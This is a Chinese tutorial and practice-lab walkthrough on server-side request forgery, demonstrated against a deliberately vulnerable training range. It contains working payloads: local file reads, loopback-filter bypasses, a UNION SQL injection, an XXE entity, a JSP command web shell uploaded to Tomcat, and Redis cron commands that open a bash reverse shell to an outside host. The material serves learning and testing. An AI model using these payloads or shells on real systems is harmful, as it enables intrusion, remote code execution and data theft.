一、前言
服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者可以通过 SSRF 诱使服务器发起请求访问内部资源或外部资源。通常,这种漏洞利用服务器的信任关系进行未授权的访问,可能会导致信息泄露、内部系统扫描、代码执行等问题。SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感 的内部资源。
简单来说就是SSRF 漏洞的根本原因是应用程序没有正确验证或限制用户输入的 URL 或 IP 地址,从而使得攻击者能够控制服务器发出的请求。
二、漏洞场景
SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感 的内部资源。
- 文件上传功能:Web应用程序通常允许用户上传文件,攻击者可以上传包含恶意URL的文件,以触发SSRF 漏洞。
- 图片处理功能:Web应用程序通常包含图片处理功能,攻击者可以在图片URL中注入恶意的URL,以触发S SRF漏洞。
- URL重定向功能:Web应用程序可能包含URL重定向功能,攻击者可以在重定向URL中注入恶意的URL,以 触发SSRF漏洞。
- API调用:Web应用程序可能会使用API与其他服务进行交互,攻击者可以在API请求中注入恶意的URL, 以触发SSRF漏洞。
- 分享:通过URL地址分享网页内容,攻击者手动更改分析网页内容
- 所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞
三、漏洞函数
这里拿php函数作举例
php:这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen ()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中 注入恶意代码来触发SSRF漏洞。
curl_exec
格式:curl_exec(resource $ch)
作用:执行 cURL 会话
file_get_contents
格式:file_get_contents(path,include_path,context,start,max_length)
作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。
fsockopen
格式:fsockopen(string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )
作用:打开一个网络连接或者一个Unix 套接字连接。
四、SSRF中URL的伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
示例 file读取文件
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
访问一些本地敏感文件
可以通过读取主机hosts文件获取当前主机的ip地址,得到网段情况
示例:dict端口探测
dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料(包括谷歌上)。在SSRF漏洞利用中,常常用来探测内网的应用信息 ,感兴趣的可以通过大模型来进行学习
SSRF中常配合dict协议探测一些端口开放情况,可显示出一些带tcp回显的端口
绕过
127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
http://sudo.cc
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
302跳转
<?php
header('Location:http://127.0.0.1/flag.php');
五、靶机示例
我们这里使用国光师傅的靶机
靶场的源码:Github - sqlsec/ssrf-vuls
靶场拓补如下:
先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
判断ssrf是否存在
尝试一下正常访问外网
访问hosts目录得到内网网段
探测内网端口
可以遍历C段扫描这里可以迭代或者集束炸弹(clusterbomb),我们这里使用前者
第二位设为" : " 第三位设置为常用端口的字典(我这里上帝视角只放了能渗透的端口)
经过遍历整理出来的端口开放情况:
172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306
172.72.23.22:80 命令执行
首先我们通过ssrf发现能将请求内网的机器正常回显
如果我们想进行正常的目录扫描工作,可使用burp进行爆破常见敏感文件字典
可以很明显看到一个phpinfo.php 和shell.php
phpinfo 算是一个信息泄露
172.72.23.22/shell.php?cmd=cat%20flag
一个简单的命令执行,如果使用浏览器请求的话得把空格换成%20就是经过url编码一次
如果是由burp提交需要经过二次url编码
172.72.23.23 Sqli
这台机器就是最简单的sql联注就直接拿下,通过一些特殊字符代替空格,特殊字符二次解码即可
url=172.72.23.23id=-1'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),2,3,4%2523
url=172.72.23.23?id=-1'/**/union/**/select/**/(select/**/*/**/from/**/flag_is_here),2,3,4%2523
172.72.23.24 命令注入
这个功能点典中典,但是远没有那么简单。这里提交方式这个是POST,这里再经过了一手SSRF没有办法直接通过http协议请求
这里可以通过gopher 协议传参,gopher是一个古老且强大的协议,可以传递最底层的 TCP 数据流 gopher 协,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可 以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、 Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。
格式:gopher://<host>:<port>/<gopher-path>/_<TCP数据量>
这里我们先通过前面的靶机手动生成下我们的poc,方便我们理解这个协议后面再通过介绍工具生成
抓取源的POST数据包,进行url两次转码
最终payload
url=gopher://172.72.23.24:80/_<加上两次URL编码后的TCP数据流>
删除这一段请求头:Accept-Encoding: gzip, deflate,如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。
如图所示成功执行了我们的命令
172.72.23.25 XXE
这里xxe外部实体注入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file://etc/hosts" >]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>
老样子我们通过gopher协议提交
172.72.23.26:8080 Tomcat
CVE-2017-12615 任意文件上传漏洞,这在 Tomcat 漏洞历史中也是比较经典的一个。我这里早年写过一篇笔记,太简单了就不放上去了,没有复现过可的同学可以自行通过vulhub靶机来复现一次。
写入jsp一句话
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>
改为PUT上传
还是老样子我们经过两次url编码后通过gopher传输
先传一个马子进去,显示201则表示传输成功
再尝试执行一下
172.72.23.27:6379 Redis未授权
Redis是一个key-value 存储系统,是跨平台的非关系型数据库。 Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞 攻击内网中的未授权Redis以及读取Redis的数据。 攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户, 攻击者可以通过写定时任务的方式进行反弹shell。
6379是redis的默认端口,输入完info后有信息回显redis版本号等等便可确认为未授权
可以通过dict协议创建定时任务反弹shell
# 清空 key
dict://172.72.23.27:6379/flushall
# 设置要操作的路径为定时任务目录,这里目标系统为ubuntu如果目标为centos可尝试将路径换成/var/spool/cron
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
# 保存上述操作
dict://172.72.23.27:6379/save
SSRF 传递的时候记得要把 &
URL 编码为 %26
,上面的操作最好再 BP 下抓包操作,防止浏览器传输的时候被 URL 打乱编码
成功上线
如果要用gopher手动生成数据传输攻击非常繁琐。可利用gopherus工具生成 支持生成mysql, postgresql, fastcgi, redis, smtp, zabbix,pymemcache, rbmemcache, phpmemcache, dmpmemcache
项目地址: https://github.com/tarunkant/Gopherus
直接将生成的poc在网页上提交,注意这里我们需要更改一下生成的地址
监听成功上线
后面还有一些像mysql提权 因为我这里用的另一位师傅Duoduo-chino上传docker-compose文件直接拉的环境,后面的环境没放。我懒鬼就先不做了,项目地址:Duoduo-chino · GitHub,这里如果有想所有一一复现的同学需要注意留心自己网络环境 可通过docker network ls 命令查看创建的网络名称,在后期启动容器时添加--network --ip 指定地址才可处于同一子网